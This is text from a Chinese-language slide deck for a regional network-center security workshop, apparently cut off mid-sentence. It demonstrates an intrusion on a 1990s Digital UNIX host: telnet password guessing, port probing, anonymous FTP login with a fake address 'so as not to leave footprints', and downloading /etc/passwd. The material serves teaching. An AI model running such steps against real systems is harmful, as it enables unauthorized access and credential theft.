云嘉区网中心研习课程.ppt

系統安全管理 雲嘉區網中心研習課程 Digital UNIX V1.2C (Rev. 248); Mon Oct 31 21:23:02 CST 1996 Digital UNIX V1.2C Worksystem Software (Rev. 248) Digital UNIX Chinese Support V1.2C (rev. 3) (嗯...進來了!開始攻擊吧!本次的目標是......) telnet (Telnet 試試看....) Trying 55... Connected to . Escape character is ^]. Password: Login incorrect (沒關係, 再來 !!) cool login: hinet Password: Login incorrect (都沒猜對,這邊用的是猜的方法, 今天運氣好像不好) HACKING (Continued) 系統安全管理 雲嘉區網中心研習課程 (重來, 換個Port試試看!!) telnet 55 80 Trying 55... Connected to 55. Escape character is ^]. HTML HEAD TITLEError/TITLE /HEAD BODY H1Error 400/H1 Invalid request (unknown method) PHRADDRESSA HREF= CERN-HTTPD 3.0A/A/ADDRESS /BODY /HTML Connection closed by foreign host. (哇哩!!連密碼都沒得輸入,真是.....再來!!要有恆心!!) (換FTP Port試試) HACKING (Continued) 系統安全管理 雲嘉區網中心研習課程 ftp 55 Connected to 55. 220 cool FTP server (Version wu-2.4(1) Tue Aug 8 15:50:43 CDT 1995) ready. Name (55:FakeName): anonymous 331 Guest login ok, send your complete e-mail address as password. Password: 230-Welcome, archive user! This is an experimental FTP server. If have any 230-unusual problems, please report them via e-mail to root@ 230-If you do have problems, please try using a dash (-) as the first character 230-of your password -- this will turn off the continuation messages that may 230-be confusing your ftp client. 230- 230 Guest login ok, access restrictions apply. Remote system type is UNIX. Using binary mode to transfer files. (哇!可以用anonymous進來耶!!password部份輸入aaa@ 就好了,不要留下足跡喔!!) HACKING (Continued) 系統安全管理 雲嘉區網中心研習課程 HACKING (Continued) ftp ls 200 PORT command successful. 150 Opening ASCII mode data connection for file list. etc pub usr bin lib incoming welcome.msg 226 Transfer complete. (嗯嗯... 太好了 ! 進來了 !! 下一個目標是.....) ftp cd etc 250 CWD command successful. ftp get passwd (抓回來 !!) 200 PORT command successful. 150 Opening BINARY mode data connection for passwd (566 bytes). 226 Transfer complete. 566 bytes received in 0.56 seconds (0.93 Kbytes/s) (喔... 這麼容易嗎